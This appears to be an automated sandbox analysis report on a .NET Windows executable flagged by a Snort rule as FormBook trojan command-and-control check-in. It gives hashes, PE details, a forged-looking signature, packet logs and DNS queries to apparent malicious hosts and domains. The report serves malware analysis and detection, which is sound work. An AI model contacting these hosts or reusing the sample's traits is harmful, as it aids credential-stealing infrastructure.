SSDEEP:	6144:WIXfpi67eLPU9skLmb0b44WSPKaJG8nAgejZMMhA2gX4WABl0uN+dwBCswSbe:bXD944WlLZMM6YFHc+e
MD5:	0A990E49D03BCFF22475638674F5C4D7
SHA1:	7EB8A7C2645E60B486C9D5E6B9B0910CE8E10D5B
SHA-256:	3E2192D3C12F061599340947B05630A63BB4F6169AEEBBB312F46CC988600650
SHA-512:	6CBE63281EF325F3652BDF0FD6B6A3BDA67AC491D17DF0DF4F4618D35BDF1FE3576D33D7C1A33DB29EF53D3BEF802EA6E9B9A833B6F1570C5E1178732637A430
Malicious:	false
Preview:	regf6...6....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm^. .................................................................................................................................................................................................................................................................................................................................................d.62........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.8877104774593665
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.97% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	UQO06iOMKZMPZ4A.exe
File size:	843'272 bytes
MD5:	e7c340f6eab299b03ba3ffd6760268f9
SHA1:	66669dc3f7e70675b52b5c6293f4365026da17b9
SHA256:	c6f1edef594e1e06a4d16cc58539d4e50ccc5799a675c42291d81fcc567c9d30
SHA512:	3adcca816846523b6beef376e18d68ff72a05b9d6e66b02f8822c3dd97e098da44001d5a05d88d04274606ae826c0d54b7c7c282a4cdfa5e7e4951d4210f9a3f
SSDEEP:	24576:Hj3YIPeBMBfcTkR2FV3SY9no0DMs8H7caXr1:8WAV3fhHDOQU
TLSH:	4805F0D83A44F19FC45BCFB289582C60EA606467470BD343A29322ED9A4D7DACF016F3
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....}...............0.............n.... ........@.. ....................................@................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x4cbb6e
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xE67DD712 [Wed Jul 16 00:32:18 2092 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=COMODO RSA Code Signing CA, O=COMODO CA Limited, L=Salford, S=Greater Manchester, C=GB
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	13/11/2018 00:00:00 08/11/2021 23:59:59
Subject Chain	CN=Simon Tatham, O=Simon Tatham, L=Cambridge, S=Cambridgeshire, C=GB
Version:	3
Thumbprint MD5:	DABD77E44EF6B3BB91740FA46696B779
Thumbprint SHA-1:	5B9E273CF11941FD8C6BE3F038C4797BBE884268
Thumbprint SHA-256:	4CD3325617EBB63319BA6E8F2A74B0B8CCA58920B48D8026EBCA2C756630D570
Serial:	7C1118CBBADC95DA3752C46E47A27438

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xcbb20	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xcc000	0x688	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0xca800	0x3608
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xce000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xc9b74	0xc9c00	d6949f4f806ddb7b7df3fa71989be38a	False	0.9115720841078067	data	7.893680177454588	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xcc000	0x688	0x800	e8ec115fdfc702f41e42dffed51d8f53	False	0.36474609375	data	3.623574181945053	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xce000	0xc	0x200	36b616ac84af622d8194c6a7ce815642	False	0.044921875	data	0.09800417566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0xcc0a0	0x3fc	data			0.4284313725490196
RT_MANIFEST	0xcc49c	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
04/26/24-07:40:05.342566	TCP	2856318	ETPRO TROJAN FormBook CnC Checkin (POST) M4	49751	80	192.168.2.4	109.123.121.243

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 26, 2024 07:39:49.470592022 CEST	49750	80	192.168.2.4	109.70.148.57
Apr 26, 2024 07:39:49.696577072 CEST	80	49750	109.70.148.57	192.168.2.4
Apr 26, 2024 07:39:49.696680069 CEST	49750	80	192.168.2.4	109.70.148.57
Apr 26, 2024 07:39:49.699223995 CEST	49750	80	192.168.2.4	109.70.148.57
Apr 26, 2024 07:39:49.924937963 CEST	80	49750	109.70.148.57	192.168.2.4
Apr 26, 2024 07:39:49.925115108 CEST	80	49750	109.70.148.57	192.168.2.4
Apr 26, 2024 07:39:49.925157070 CEST	80	49750	109.70.148.57	192.168.2.4
Apr 26, 2024 07:39:49.925192118 CEST	80	49750	109.70.148.57	192.168.2.4
Apr 26, 2024 07:39:49.925266027 CEST	49750	80	192.168.2.4	109.70.148.57
Apr 26, 2024 07:39:49.925313950 CEST	49750	80	192.168.2.4	109.70.148.57
Apr 26, 2024 07:39:49.928762913 CEST	49750	80	192.168.2.4	109.70.148.57
Apr 26, 2024 07:39:50.154531956 CEST	80	49750	109.70.148.57	192.168.2.4
Apr 26, 2024 07:40:05.112095118 CEST	49751	80	192.168.2.4	109.123.121.243
Apr 26, 2024 07:40:05.340615034 CEST	80	49751	109.123.121.243	192.168.2.4
Apr 26, 2024 07:40:05.340739012 CEST	49751	80	192.168.2.4	109.123.121.243
Apr 26, 2024 07:40:05.342566013 CEST	49751	80	192.168.2.4	109.123.121.243
Apr 26, 2024 07:40:05.571156979 CEST	80	49751	109.123.121.243	192.168.2.4
Apr 26, 2024 07:40:05.571185112 CEST	80	49751	109.123.121.243	192.168.2.4
Apr 26, 2024 07:40:05.571238995 CEST	80	49751	109.123.121.243	192.168.2.4
Apr 26, 2024 07:40:05.571314096 CEST	49751	80	192.168.2.4	109.123.121.243
Apr 26, 2024 07:40:06.848498106 CEST	49751	80	192.168.2.4	109.123.121.243
Apr 26, 2024 07:40:07.867189884 CEST	49752	80	192.168.2.4	109.123.121.243
Apr 26, 2024 07:40:08.096353054 CEST	80	49752	109.123.121.243	192.168.2.4
Apr 26, 2024 07:40:08.096446991 CEST	49752	80	192.168.2.4	109.123.121.243
Apr 26, 2024 07:40:08.098596096 CEST	49752	80	192.168.2.4	109.123.121.243
Apr 26, 2024 07:40:08.327589035 CEST	80	49752	109.123.121.243	192.168.2.4
Apr 26, 2024 07:40:08.327645063 CEST	80	49752	109.123.121.243	192.168.2.4
Apr 26, 2024 07:40:08.327685118 CEST	80	49752	109.123.121.243	192.168.2.4
Apr 26, 2024 07:40:08.327740908 CEST	49752	80	192.168.2.4	109.123.121.243
Apr 26, 2024 07:40:09.614065886 CEST	49752	80	192.168.2.4	109.123.121.243
Apr 26, 2024 07:40:10.633935928 CEST	49753	80	192.168.2.4	109.123.121.243
Apr 26, 2024 07:40:10.859707117 CEST	80	49753	109.123.121.243	192.168.2.4
Apr 26, 2024 07:40:10.862097025 CEST	49753	80	192.168.2.4	109.123.121.243
Apr 26, 2024 07:40:10.864924908 CEST	49753	80	192.168.2.4	109.123.121.243
Apr 26, 2024 07:40:11.091406107 CEST	80	49753	109.123.121.243	192.168.2.4
Apr 26, 2024 07:40:11.091507912 CEST	80	49753	109.123.121.243	192.168.2.4
Apr 26, 2024 07:40:11.091526031 CEST	80	49753	109.123.121.243	192.168.2.4
Apr 26, 2024 07:40:11.091561079 CEST	80	49753	109.123.121.243	192.168.2.4
Apr 26, 2024 07:40:11.091638088 CEST	80	49753	109.123.121.243	192.168.2.4
Apr 26, 2024 07:40:11.091682911 CEST	80	49753	109.123.121.243	192.168.2.4
Apr 26, 2024 07:40:11.091725111 CEST	80	49753	109.123.121.243	192.168.2.4
Apr 26, 2024 07:40:11.091793060 CEST	49753	80	192.168.2.4	109.123.121.243
Apr 26, 2024 07:40:12.379798889 CEST	49753	80	192.168.2.4	109.123.121.243
Apr 26, 2024 07:40:13.399188995 CEST	49754	80	192.168.2.4	109.123.121.243
Apr 26, 2024 07:40:13.627429962 CEST	80	49754	109.123.121.243	192.168.2.4
Apr 26, 2024 07:40:13.628923893 CEST	49754	80	192.168.2.4	109.123.121.243
Apr 26, 2024 07:40:13.630965948 CEST	49754	80	192.168.2.4	109.123.121.243
Apr 26, 2024 07:40:13.859036922 CEST	80	49754	109.123.121.243	192.168.2.4
Apr 26, 2024 07:40:13.859091997 CEST	80	49754	109.123.121.243	192.168.2.4
Apr 26, 2024 07:40:13.859394073 CEST	80	49754	109.123.121.243	192.168.2.4
Apr 26, 2024 07:40:13.859496117 CEST	49754	80	192.168.2.4	109.123.121.243
Apr 26, 2024 07:40:13.862114906 CEST	49754	80	192.168.2.4	109.123.121.243
Apr 26, 2024 07:40:14.090396881 CEST	80	49754	109.123.121.243	192.168.2.4
Apr 26, 2024 07:40:19.086008072 CEST	49755	80	192.168.2.4	64.225.91.73
Apr 26, 2024 07:40:19.281616926 CEST	80	49755	64.225.91.73	192.168.2.4
Apr 26, 2024 07:40:19.284446955 CEST	49755	80	192.168.2.4	64.225.91.73
Apr 26, 2024 07:40:19.286292076 CEST	49755	80	192.168.2.4	64.225.91.73
Apr 26, 2024 07:40:19.481791019 CEST	80	49755	64.225.91.73	192.168.2.4
Apr 26, 2024 07:40:19.483016014 CEST	80	49755	64.225.91.73	192.168.2.4
Apr 26, 2024 07:40:19.483058929 CEST	80	49755	64.225.91.73	192.168.2.4
Apr 26, 2024 07:40:19.483129025 CEST	49755	80	192.168.2.4	64.225.91.73
Apr 26, 2024 07:40:20.801637888 CEST	49755	80	192.168.2.4	64.225.91.73
Apr 26, 2024 07:40:21.820306063 CEST	49756	80	192.168.2.4	64.225.91.73
Apr 26, 2024 07:40:22.015582085 CEST	80	49756	64.225.91.73	192.168.2.4
Apr 26, 2024 07:40:22.016901970 CEST	49756	80	192.168.2.4	64.225.91.73
Apr 26, 2024 07:40:22.447452068 CEST	49756	80	192.168.2.4	64.225.91.73
Apr 26, 2024 07:40:22.642642021 CEST	80	49756	64.225.91.73	192.168.2.4
Apr 26, 2024 07:40:22.644910097 CEST	80	49756	64.225.91.73	192.168.2.4
Apr 26, 2024 07:40:22.644958019 CEST	80	49756	64.225.91.73	192.168.2.4
Apr 26, 2024 07:40:22.645004034 CEST	49756	80	192.168.2.4	64.225.91.73
Apr 26, 2024 07:40:23.958079100 CEST	49756	80	192.168.2.4	64.225.91.73
Apr 26, 2024 07:40:24.976311922 CEST	49757	80	192.168.2.4	64.225.91.73
Apr 26, 2024 07:40:25.172875881 CEST	80	49757	64.225.91.73	192.168.2.4
Apr 26, 2024 07:40:25.172970057 CEST	49757	80	192.168.2.4	64.225.91.73
Apr 26, 2024 07:40:25.175187111 CEST	49757	80	192.168.2.4	64.225.91.73
Apr 26, 2024 07:40:25.371654034 CEST	80	49757	64.225.91.73	192.168.2.4
Apr 26, 2024 07:40:25.371685028 CEST	80	49757	64.225.91.73	192.168.2.4
Apr 26, 2024 07:40:25.371704102 CEST	80	49757	64.225.91.73	192.168.2.4
Apr 26, 2024 07:40:25.371721983 CEST	80	49757	64.225.91.73	192.168.2.4
Apr 26, 2024 07:40:25.371963024 CEST	80	49757	64.225.91.73	192.168.2.4
Apr 26, 2024 07:40:25.372128963 CEST	80	49757	64.225.91.73	192.168.2.4
Apr 26, 2024 07:40:25.372148037 CEST	80	49757	64.225.91.73	192.168.2.4
Apr 26, 2024 07:40:25.372237921 CEST	80	49757	64.225.91.73	192.168.2.4
Apr 26, 2024 07:40:25.372307062 CEST	80	49757	64.225.91.73	192.168.2.4
Apr 26, 2024 07:40:25.373492002 CEST	80	49757	64.225.91.73	192.168.2.4
Apr 26, 2024 07:40:25.373513937 CEST	80	49757	64.225.91.73	192.168.2.4
Apr 26, 2024 07:40:25.373591900 CEST	49757	80	192.168.2.4	64.225.91.73
Apr 26, 2024 07:40:26.676727057 CEST	49757	80	192.168.2.4	64.225.91.73
Apr 26, 2024 07:40:27.695482016 CEST	49758	80	192.168.2.4	64.225.91.73
Apr 26, 2024 07:40:27.890818119 CEST	80	49758	64.225.91.73	192.168.2.4
Apr 26, 2024 07:40:27.890973091 CEST	49758	80	192.168.2.4	64.225.91.73
Apr 26, 2024 07:40:27.892894030 CEST	49758	80	192.168.2.4	64.225.91.73
Apr 26, 2024 07:40:28.087953091 CEST	80	49758	64.225.91.73	192.168.2.4
Apr 26, 2024 07:40:28.089332104 CEST	80	49758	64.225.91.73	192.168.2.4
Apr 26, 2024 07:40:28.089363098 CEST	80	49758	64.225.91.73	192.168.2.4
Apr 26, 2024 07:40:28.089490891 CEST	49758	80	192.168.2.4	64.225.91.73
Apr 26, 2024 07:40:28.092158079 CEST	49758	80	192.168.2.4	64.225.91.73
Apr 26, 2024 07:40:28.286948919 CEST	80	49758	64.225.91.73	192.168.2.4
Apr 26, 2024 07:40:33.422950029 CEST	49759	80	192.168.2.4	66.29.135.159
Apr 26, 2024 07:40:33.611917019 CEST	80	49759	66.29.135.159	192.168.2.4
Apr 26, 2024 07:40:33.612013102 CEST	49759	80	192.168.2.4	66.29.135.159
Apr 26, 2024 07:40:33.613960028 CEST	49759	80	192.168.2.4	66.29.135.159
Apr 26, 2024 07:40:33.803090096 CEST	80	49759	66.29.135.159	192.168.2.4
Apr 26, 2024 07:40:33.816148043 CEST	80	49759	66.29.135.159	192.168.2.4
Apr 26, 2024 07:40:33.816186905 CEST	80	49759	66.29.135.159	192.168.2.4
Apr 26, 2024 07:40:33.816314936 CEST	49759	80	192.168.2.4	66.29.135.159
Apr 26, 2024 07:40:35.129765987 CEST	49759	80	192.168.2.4	66.29.135.159
Apr 26, 2024 07:40:36.148907900 CEST	49760	80	192.168.2.4	66.29.135.159
Apr 26, 2024 07:40:36.338042021 CEST	80	49760	66.29.135.159	192.168.2.4
Apr 26, 2024 07:40:36.338219881 CEST	49760	80	192.168.2.4	66.29.135.159
Apr 26, 2024 07:40:36.340142012 CEST	49760	80	192.168.2.4	66.29.135.159
Apr 26, 2024 07:40:36.528306007 CEST	80	49760	66.29.135.159	192.168.2.4
Apr 26, 2024 07:40:36.539266109 CEST	80	49760	66.29.135.159	192.168.2.4
Apr 26, 2024 07:40:36.539287090 CEST	80	49760	66.29.135.159	192.168.2.4
Apr 26, 2024 07:40:36.539349079 CEST	49760	80	192.168.2.4	66.29.135.159
Apr 26, 2024 07:40:37.848644972 CEST	49760	80	192.168.2.4	66.29.135.159
Apr 26, 2024 07:40:38.868123055 CEST	49761	80	192.168.2.4	66.29.135.159
Apr 26, 2024 07:40:39.056828022 CEST	80	49761	66.29.135.159	192.168.2.4
Apr 26, 2024 07:40:39.056920052 CEST	49761	80	192.168.2.4	66.29.135.159
Apr 26, 2024 07:40:39.059133053 CEST	49761	80	192.168.2.4	66.29.135.159
Apr 26, 2024 07:40:39.247556925 CEST	80	49761	66.29.135.159	192.168.2.4
Apr 26, 2024 07:40:39.247585058 CEST	80	49761	66.29.135.159	192.168.2.4
Apr 26, 2024 07:40:39.247603893 CEST	80	49761	66.29.135.159	192.168.2.4
Apr 26, 2024 07:40:39.247621059 CEST	80	49761	66.29.135.159	192.168.2.4
Apr 26, 2024 07:40:39.260349035 CEST	80	49761	66.29.135.159	192.168.2.4
Apr 26, 2024 07:40:39.260389090 CEST	80	49761	66.29.135.159	192.168.2.4
Apr 26, 2024 07:40:39.260459900 CEST	49761	80	192.168.2.4	66.29.135.159
Apr 26, 2024 07:40:40.877028942 CEST	49761	80	192.168.2.4	66.29.135.159
Apr 26, 2024 07:40:41.885823011 CEST	49762	80	192.168.2.4	66.29.135.159
Apr 26, 2024 07:40:42.074120045 CEST	80	49762	66.29.135.159	192.168.2.4
Apr 26, 2024 07:40:42.074198961 CEST	49762	80	192.168.2.4	66.29.135.159
Apr 26, 2024 07:40:42.076159954 CEST	49762	80	192.168.2.4	66.29.135.159
Apr 26, 2024 07:40:42.265177965 CEST	80	49762	66.29.135.159	192.168.2.4
Apr 26, 2024 07:40:42.277779102 CEST	80	49762	66.29.135.159	192.168.2.4
Apr 26, 2024 07:40:42.277836084 CEST	80	49762	66.29.135.159	192.168.2.4
Apr 26, 2024 07:40:42.277920008 CEST	49762	80	192.168.2.4	66.29.135.159
Apr 26, 2024 07:40:42.280422926 CEST	49762	80	192.168.2.4	66.29.135.159
Apr 26, 2024 07:40:42.469022989 CEST	80	49762	66.29.135.159	192.168.2.4
Apr 26, 2024 07:40:47.940907955 CEST	49763	80	192.168.2.4	154.213.73.100
Apr 26, 2024 07:40:48.307302952 CEST	80	49763	154.213.73.100	192.168.2.4
Apr 26, 2024 07:40:48.311572075 CEST	49763	80	192.168.2.4	154.213.73.100
Apr 26, 2024 07:40:48.314256907 CEST	49763	80	192.168.2.4	154.213.73.100
Apr 26, 2024 07:40:48.648289919 CEST	80	49763	154.213.73.100	192.168.2.4
Apr 26, 2024 07:40:48.705040932 CEST	80	49763	154.213.73.100	192.168.2.4
Apr 26, 2024 07:40:48.705102921 CEST	80	49763	154.213.73.100	192.168.2.4
Apr 26, 2024 07:40:48.705154896 CEST	49763	80	192.168.2.4	154.213.73.100
Apr 26, 2024 07:40:49.817414999 CEST	49763	80	192.168.2.4	154.213.73.100
Apr 26, 2024 07:40:50.837608099 CEST	49764	80	192.168.2.4	154.213.73.100
Apr 26, 2024 07:40:51.170104027 CEST	80	49764	154.213.73.100	192.168.2.4
Apr 26, 2024 07:40:51.170239925 CEST	49764	80	192.168.2.4	154.213.73.100
Apr 26, 2024 07:40:51.172274113 CEST	49764	80	192.168.2.4	154.213.73.100
Apr 26, 2024 07:40:51.505880117 CEST	80	49764	154.213.73.100	192.168.2.4
Apr 26, 2024 07:40:51.561110020 CEST	80	49764	154.213.73.100	192.168.2.4
Apr 26, 2024 07:40:51.561152935 CEST	80	49764	154.213.73.100	192.168.2.4
Apr 26, 2024 07:40:51.561213970 CEST	49764	80	192.168.2.4	154.213.73.100
Apr 26, 2024 07:40:52.676789045 CEST	49764	80	192.168.2.4	154.213.73.100
Apr 26, 2024 07:40:53.696943998 CEST	49765	80	192.168.2.4	154.213.73.100
Apr 26, 2024 07:40:54.065805912 CEST	80	49765	154.213.73.100	192.168.2.4
Apr 26, 2024 07:40:54.065916061 CEST	49765	80	192.168.2.4	154.213.73.100
Apr 26, 2024 07:40:54.071386099 CEST	49765	80	192.168.2.4	154.213.73.100
Apr 26, 2024 07:40:54.405118942 CEST	80	49765	154.213.73.100	192.168.2.4
Apr 26, 2024 07:40:54.405137062 CEST	80	49765	154.213.73.100	192.168.2.4
Apr 26, 2024 07:40:54.405183077 CEST	80	49765	154.213.73.100	192.168.2.4
Apr 26, 2024 07:40:54.405193090 CEST	80	49765	154.213.73.100	192.168.2.4
Apr 26, 2024 07:40:54.405205011 CEST	80	49765	154.213.73.100	192.168.2.4
Apr 26, 2024 07:40:54.466469049 CEST	80	49765	154.213.73.100	192.168.2.4
Apr 26, 2024 07:40:54.466486931 CEST	80	49765	154.213.73.100	192.168.2.4
Apr 26, 2024 07:40:54.466598988 CEST	49765	80	192.168.2.4	154.213.73.100
Apr 26, 2024 07:40:55.582992077 CEST	49765	80	192.168.2.4	154.213.73.100
Apr 26, 2024 07:40:56.604433060 CEST	49766	80	192.168.2.4	154.213.73.100
Apr 26, 2024 07:40:56.937185049 CEST	80	49766	154.213.73.100	192.168.2.4
Apr 26, 2024 07:40:56.937275887 CEST	49766	80	192.168.2.4	154.213.73.100
Apr 26, 2024 07:40:56.939573050 CEST	49766	80	192.168.2.4	154.213.73.100
Apr 26, 2024 07:40:57.273226976 CEST	80	49766	154.213.73.100	192.168.2.4
Apr 26, 2024 07:40:57.373308897 CEST	80	49766	154.213.73.100	192.168.2.4
Apr 26, 2024 07:40:57.373325109 CEST	80	49766	154.213.73.100	192.168.2.4
Apr 26, 2024 07:40:57.373337984 CEST	80	49766	154.213.73.100	192.168.2.4
Apr 26, 2024 07:40:57.373364925 CEST	80	49766	154.213.73.100	192.168.2.4
Apr 26, 2024 07:40:57.373414993 CEST	49766	80	192.168.2.4	154.213.73.100
Apr 26, 2024 07:40:57.373414993 CEST	49766	80	192.168.2.4	154.213.73.100
Apr 26, 2024 07:40:57.373421907 CEST	80	49766	154.213.73.100	192.168.2.4
Apr 26, 2024 07:40:57.373467922 CEST	80	49766	154.213.73.100	192.168.2.4
Apr 26, 2024 07:40:57.373481989 CEST	80	49766	154.213.73.100	192.168.2.4
Apr 26, 2024 07:40:57.373495102 CEST	80	49766	154.213.73.100	192.168.2.4
Apr 26, 2024 07:40:57.373512983 CEST	49766	80	192.168.2.4	154.213.73.100
Apr 26, 2024 07:40:57.373533010 CEST	49766	80	192.168.2.4	154.213.73.100
Apr 26, 2024 07:40:57.373536110 CEST	80	49766	154.213.73.100	192.168.2.4
Apr 26, 2024 07:40:57.373564005 CEST	80	49766	154.213.73.100	192.168.2.4
Apr 26, 2024 07:40:57.373650074 CEST	49766	80	192.168.2.4	154.213.73.100
Apr 26, 2024 07:40:57.745695114 CEST	80	49766	154.213.73.100	192.168.2.4
Apr 26, 2024 07:40:57.745723963 CEST	80	49766	154.213.73.100	192.168.2.4
Apr 26, 2024 07:40:57.745735884 CEST	80	49766	154.213.73.100	192.168.2.4
Apr 26, 2024 07:40:57.745744944 CEST	80	49766	154.213.73.100	192.168.2.4
Apr 26, 2024 07:40:57.745832920 CEST	49766	80	192.168.2.4	154.213.73.100
Apr 26, 2024 07:40:57.745934963 CEST	80	49766	154.213.73.100	192.168.2.4
Apr 26, 2024 07:40:57.745949030 CEST	80	49766	154.213.73.100	192.168.2.4
Apr 26, 2024 07:40:57.745960951 CEST	80	49766	154.213.73.100	192.168.2.4
Apr 26, 2024 07:40:57.745974064 CEST	80	49766	154.213.73.100	192.168.2.4
Apr 26, 2024 07:40:57.745986938 CEST	80	49766	154.213.73.100	192.168.2.4
Apr 26, 2024 07:40:57.745995045 CEST	49766	80	192.168.2.4	154.213.73.100
Apr 26, 2024 07:40:57.746001005 CEST	80	49766	154.213.73.100	192.168.2.4
Apr 26, 2024 07:40:57.746015072 CEST	80	49766	154.213.73.100	192.168.2.4
Apr 26, 2024 07:40:57.746023893 CEST	49766	80	192.168.2.4	154.213.73.100
Apr 26, 2024 07:40:57.746028900 CEST	80	49766	154.213.73.100	192.168.2.4
Apr 26, 2024 07:40:57.746042013 CEST	80	49766	154.213.73.100	192.168.2.4
Apr 26, 2024 07:40:57.746045113 CEST	49766	80	192.168.2.4	154.213.73.100
Apr 26, 2024 07:40:57.746072054 CEST	80	49766	154.213.73.100	192.168.2.4
Apr 26, 2024 07:40:57.746083975 CEST	80	49766	154.213.73.100	192.168.2.4
Apr 26, 2024 07:40:57.746098042 CEST	49766	80	192.168.2.4	154.213.73.100
Apr 26, 2024 07:40:57.746109009 CEST	80	49766	154.213.73.100	192.168.2.4
Apr 26, 2024 07:40:57.746124029 CEST	80	49766	154.213.73.100	192.168.2.4
Apr 26, 2024 07:40:57.746154070 CEST	49766	80	192.168.2.4	154.213.73.100
Apr 26, 2024 07:40:57.746268988 CEST	49766	80	192.168.2.4	154.213.73.100
Apr 26, 2024 07:40:58.151746988 CEST	49766	80	192.168.2.4	154.213.73.100
Apr 26, 2024 07:40:58.487783909 CEST	80	49766	154.213.73.100	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 26, 2024 07:39:49.011531115 CEST	64403	53	192.168.2.4	1.1.1.1
Apr 26, 2024 07:39:49.461395025 CEST	53	64403	1.1.1.1	192.168.2.4
Apr 26, 2024 07:40:04.977101088 CEST	50966	53	192.168.2.4	1.1.1.1
Apr 26, 2024 07:40:05.109843016 CEST	53	50966	1.1.1.1	192.168.2.4
Apr 26, 2024 07:40:18.867238045 CEST	53496	53	192.168.2.4	1.1.1.1
Apr 26, 2024 07:40:19.081444979 CEST	53	53496	1.1.1.1	192.168.2.4
Apr 26, 2024 07:40:33.102896929 CEST	52159	53	192.168.2.4	1.1.1.1
Apr 26, 2024 07:40:33.420676947 CEST	53	52159	1.1.1.1	192.168.2.4
Apr 26, 2024 07:40:47.297348022 CEST	61631	53	192.168.2.4	1.1.1.1
Apr 26, 2024 07:40:47.937181950 CEST	53	61631	1.1.1.1	192.168.2.4
Apr 26, 2024 07:41:03.164300919 CEST	58126	53	192.168.2.4	1.1.1.1
Apr 26, 2024 07:41:03.392539024 CEST	53	58126	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 26, 2024 07:39:49.011531115 CEST	192.168.2.4	1.1.1.1	0x2e11	Standard query (0)	www.klingerlumberltd.com	A (IP address)	IN (0x0001)	false
Apr 26, 2024 07:40:04.977101088 CEST	192.168.2.4	1.1.1.1	0xd840	Standard query (0)	www.gattosat.icu	A (IP address)	IN (0x0001)	false
Apr 26, 2024 07:40:18.867238045 CEST	192.168.2.4	1.1.1.1	0x834e	Standard query (0)	www.linbreoffice.org	A (IP address)	IN (0x0001)	false
